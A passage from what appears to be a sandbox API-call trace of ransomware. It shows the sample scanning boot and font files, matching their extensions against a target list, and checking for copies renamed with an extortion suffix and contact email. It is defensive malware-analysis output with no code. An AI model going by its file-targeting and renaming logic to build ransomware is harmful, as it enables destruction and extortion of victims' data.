(lpString1=".dbf", lpString2="\\BCD") returned -1 [0242.841] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.841] lstrlenW (lpString=".1cd") returned 4 [0242.841] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0242.841] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.841] lstrlenW (lpString=".jpg") returned 4 [0242.841] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0242.842] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.842] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.842] lstrlenW (lpString=".doc") returned 4 [0242.842] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0242.842] lstrlenW (lpString=".docx") returned 5 [0242.842] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0242.842] lstrlenW (lpString=".pdf") returned 4 [0242.842] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0242.842] lstrlenW (lpString=".xls") returned 4 [0242.842] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0242.842] lstrlenW (lpString=".xlsx") returned 5 [0242.842] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0242.842] lstrlenW (lpString=".ppt") returned 4 [0242.842] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0242.842] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.842] lstrlenW (lpString=".zip") returned 4 [0242.842] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0242.842] lstrlenW (lpString=".rar") returned 4 [0242.842] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0242.842] lstrlenW (lpString=".bz2") returned 4 [0242.842] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0242.842] lstrlenW (lpString=".7z") returned 3 [0242.842] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0242.842] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.842] lstrlenW (lpString=".dbf") returned 4 [0242.842] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0242.842] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.842] lstrlenW (lpString=".1cd") returned 4 [0242.842] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0242.842] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0242.842] lstrlenW (lpString=".jpg") returned 4 [0242.842] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0242.843] lstrcmpiW (lpString1=".LOG1", lpString2=".com") returned 1 [0242.843] lstrlenW (lpString="BCD.LOG1") returned 8 [0242.843] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.880] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=0) returned 1 [0242.880] CloseHandle (hObject=0x1100) returned 1 [0242.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.881] lstrlenW (lpString=".doc") returned 4 [0242.881] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0242.881] lstrlenW (lpString=".docx") returned 5 [0242.881] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0242.881] lstrlenW (lpString=".pdf") returned 4 [0242.881] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0242.881] lstrlenW (lpString=".xls") returned 4 [0242.881] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0242.881] lstrlenW (lpString=".xlsx") returned 5 [0242.881] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0242.881] lstrlenW (lpString=".ppt") returned 4 [0242.881] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0242.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.881] lstrlenW (lpString=".zip") returned 4 [0242.881] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0242.881] lstrlenW (lpString=".rar") returned 4 [0242.881] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0242.881] lstrlenW (lpString=".bz2") returned 4 [0242.881] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0242.881] lstrlenW (lpString=".7z") returned 3 [0242.881] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0242.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.881] lstrlenW (lpString=".dbf") returned 4 [0242.881] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0242.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.881] lstrlenW (lpString=".1cd") returned 4 [0242.881] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0242.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.882] lstrlenW (lpString=".jpg") returned 4 [0242.882] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0242.882] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.882] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.882] lstrlenW (lpString=".doc") returned 4 [0242.882] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0242.882] lstrlenW (lpString=".docx") returned 5 [0242.882] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0242.882] lstrlenW (lpString=".pdf") returned 4 [0242.882] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0242.882] lstrlenW (lpString=".xls") returned 4 [0242.882] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0242.882] lstrlenW (lpString=".xlsx") returned 5 [0242.882] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0242.882] lstrlenW (lpString=".ppt") returned 4 [0242.882] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0242.882] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.882] lstrlenW (lpString=".zip") returned 4 [0242.882] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0242.882] lstrlenW (lpString=".rar") returned 4 [0242.882] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0242.882] lstrlenW (lpString=".bz2") returned 4 [0242.882] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0242.882] lstrlenW (lpString=".7z") returned 3 [0242.882] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0242.882] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.882] lstrlenW (lpString=".dbf") returned 4 [0242.882] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0242.882] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.882] lstrlenW (lpString=".1cd") returned 4 [0242.882] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0242.882] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0242.882] lstrlenW (lpString=".jpg") returned 4 [0242.883] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0242.883] lstrcmpiW (lpString1=".ttf", lpString2=".com") returned 1 [0242.883] lstrlenW (lpString="malgunn_boot.ttf") returned 16 [0242.883] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.884] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=174959) returned 1 [0242.884] CloseHandle (hObject=0x1100) returned 1 [0242.884] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0242.885] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.885] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.885] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.885] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.885] lstrlenW (lpString=".doc") returned 4 [0242.885] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0242.885] lstrlenW (lpString=".docx") returned 5 [0242.885] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0242.885] lstrlenW (lpString=".pdf") returned 4 [0242.885] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0242.885] lstrlenW (lpString=".xls") returned 4 [0242.885] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0242.885] lstrlenW (lpString=".xlsx") returned 5 [0242.885] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0242.885] lstrlenW (lpString=".ppt") returned 4 [0242.885] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0242.885] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.885] lstrlenW (lpString=".zip") returned 4 [0242.885] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0242.885] lstrlenW (lpString=".rar") returned 4 [0242.885] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0242.885] lstrlenW (lpString=".bz2") returned 4 [0242.885] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0242.885] lstrlenW (lpString=".7z") returned 3 [0242.885] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0242.886] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.886] lstrlenW (lpString=".dbf") returned 4 [0242.886] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0242.886] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.886] lstrlenW (lpString=".1cd") returned 4 [0242.886] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0242.886] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.886] lstrlenW (lpString=".jpg") returned 4 [0242.886] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0242.886] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.886] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.886] lstrlenW (lpString=".doc") returned 4 [0242.886] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0242.886] lstrlenW (lpString=".docx") returned 5 [0242.886] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0242.886] lstrlenW (lpString=".pdf") returned 4 [0242.886] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0242.886] lstrlenW (lpString=".xls") returned 4 [0242.886] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0242.886] lstrlenW (lpString=".xlsx") returned 5 [0242.886] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0242.886] lstrlenW (lpString=".ppt") returned 4 [0242.886] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0242.886] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.886] lstrlenW (lpString=".zip") returned 4 [0242.886] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0242.886] lstrlenW (lpString=".rar") returned 4 [0242.886] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0242.887] lstrlenW (lpString=".bz2") returned 4 [0242.887] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0242.887] lstrlenW (lpString=".7z") returned 3 [0242.887] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0242.887] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.887] lstrlenW (lpString=".dbf") returned 4 [0242.887] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0242.887] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.887] lstrlenW (lpString=".1cd") returned 4 [0242.887] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0242.887] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0242.887] lstrlenW (lpString=".jpg") returned 4 [0242.887] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0242.887] lstrcmpiW (lpString1=".ttf", lpString2=".com") returned 1 [0242.887] lstrlenW (lpString="malgun_boot.ttf") returned 15 [0242.887] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.889] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=177414) returned 1 [0242.889] CloseHandle (hObject=0x1100) returned 1 [0242.889] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0242.889] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.889] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.890] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.890] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.890] lstrlenW (lpString=".doc") returned 4 [0242.890] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0242.890] lstrlenW (lpString=".docx") returned 5 [0242.890] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0242.890] lstrlenW (lpString=".pdf") returned 4 [0242.890] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0242.890] lstrlenW (lpString=".xls") returned 4 [0242.890] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0242.890] lstrlenW (lpString=".xlsx") returned 5 [0242.890] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0242.890] lstrlenW (lpString=".ppt") returned 4 [0242.890] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0242.890] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.890] lstrlenW (lpString=".zip") returned 4 [0242.890] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0242.890] lstrlenW (lpString=".rar") returned 4 [0242.890] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0242.890] lstrlenW (lpString=".bz2") returned 4 [0242.890] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0242.890] lstrlenW (lpString=".7z") returned 3 [0242.890] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0242.890] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.890] lstrlenW (lpString=".dbf") returned 4 [0242.890] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0242.890] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.890] lstrlenW (lpString=".1cd") returned 4 [0242.890] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0242.890] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.890] lstrlenW (lpString=".jpg") returned 4 [0242.891] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0242.891] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.891] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.891] lstrlenW (lpString=".doc") returned 4 [0242.891] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0242.891] lstrlenW (lpString=".docx") returned 5 [0242.891] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0242.891] lstrlenW (lpString=".pdf") returned 4 [0242.891] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0242.891] lstrlenW (lpString=".xls") returned 4 [0242.891] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0242.891] lstrlenW (lpString=".xlsx") returned 5 [0242.891] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0242.891] lstrlenW (lpString=".ppt") returned 4 [0242.891] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0242.891] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.891] lstrlenW (lpString=".zip") returned 4 [0242.891] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0242.891] lstrlenW (lpString=".rar") returned 4 [0242.891] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0242.891] lstrlenW (lpString=".bz2") returned 4 [0242.891] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0242.891] lstrlenW (lpString=".7z") returned 3 [0242.891] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0242.891] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.891] lstrlenW (lpString=".dbf") returned 4 [0242.891] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0242.891] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.891] lstrlenW (lpString=".1cd") returned 4 [0242.891] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0242.891] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0242.892] lstrlenW (lpString=".jpg") returned 4 [0242.892] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0242.892] lstrcmpiW (lpString1=".ttf", lpString2=".com") returned 1 [0242.892] lstrlenW (lpString="meiryon_boot.ttf") returned 16 [0242.892] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.894] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=143754) returned 1 [0242.894] CloseHandle (hObject=0x1100) returned 1 [0242.894] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0242.894] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.894] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.894] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.894] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.895] lstrlenW (lpString=".doc") returned 4 [0242.895] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0242.895] lstrlenW (lpString=".docx") returned 5 [0242.895] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0242.895] lstrlenW (lpString=".pdf") returned 4 [0242.895] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0242.895] lstrlenW (lpString=".xls") returned 4 [0242.895] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0242.895] lstrlenW (lpString=".xlsx") returned 5 [0242.895] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0242.895] lstrlenW (lpString=".ppt") returned 4 [0242.895] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0242.895] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.895] lstrlenW (lpString=".zip") returned 4 [0242.895] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0242.895] lstrlenW (lpString=".rar") returned 4 [0242.895] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0242.895] lstrlenW (lpString=".bz2") returned 4 [0242.895] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0242.895] lstrlenW (lpString=".7z") returned 3 [0242.895] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0242.895] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.895] lstrlenW (lpString=".dbf") returned 4 [0242.895] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0242.895] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.895] lstrlenW (lpString=".1cd") returned 4 [0242.895] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0242.895] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.895] lstrlenW (lpString=".jpg") returned 4 [0242.895] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0242.895] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.895] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.896] lstrlenW (lpString=".doc") returned 4 [0242.896] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0242.896] lstrlenW (lpString=".docx") returned 5 [0242.896] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0242.896] lstrlenW (lpString=".pdf") returned 4 [0242.896] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0242.896] lstrlenW (lpString=".xls") returned 4 [0242.896] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0242.896] lstrlenW (lpString=".xlsx") returned 5 [0242.896] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0242.896] lstrlenW (lpString=".ppt") returned 4 [0242.896] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0242.896] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.896] lstrlenW (lpString=".zip") returned 4 [0242.896] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0242.896] lstrlenW (lpString=".rar") returned 4 [0242.896] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0242.896] lstrlenW (lpString=".bz2") returned 4 [0242.896] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0242.896] lstrlenW (lpString=".7z") returned 3 [0242.896] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0242.896] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.896] lstrlenW (lpString=".dbf") returned 4 [0242.896] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0242.896] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.896] lstrlenW (lpString=".1cd") returned 4 [0242.896] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0242.896] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0242.896] lstrlenW (lpString=".jpg") returned 4 [0242.896] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0242.897] lstrcmpiW (lpString1=".ttf", lpString2=".com") returned 1 [0242.897] lstrlenW (lpString="meiryo_boot.ttf") returned 15 [0242.897] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.898] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x39eff14 | out: lpFileSize=0x39eff14*=145419) returned 1 [0242.898] CloseHandle (hObject=0x1100) returned 1 [0242.898] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0242.898] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.898] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.898] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.899] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.899] lstrlenW (lpString=".doc") returned 4 [0242.899] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0242.899] lstrlenW (lpString=".docx") returned 5 [0242.899] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0242.899] lstrlenW (lpString=".pdf") returned 4 [0242.899] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0242.899] lstrlenW (lpString=".xls") returned 4 [0242.899] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0242.899] lstrlenW (lpString=".xlsx") returned 5 [0242.899] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0242.899] lstrlenW (lpString=".ppt") returned 4 [0242.899] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0242.899] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.899] lstrlenW (lpString=".zip") returned 4 [0242.899] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0242.899] lstrlenW (lpString=".rar") returned 4 [0242.899] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0242.899] lstrlenW (lpString=".bz2") returned 4 [0242.899] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0242.899] lstrlenW (lpString=".7z") returned 3 [0242.899] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0242.899] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.899] lstrlenW (lpString=".dbf") returned 4 [0242.899] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0242.899] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.899] lstrlenW (lpString=".1cd") returned 4 [0242.899] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0242.899] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.899] lstrlenW (lpString=".jpg") returned 4 [0242.899] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0242.900] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.900] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0242.900] lstrlenW (lpString=".doc") returned 4 [0242.900] lstrcmpiW (lpString1=".doc", 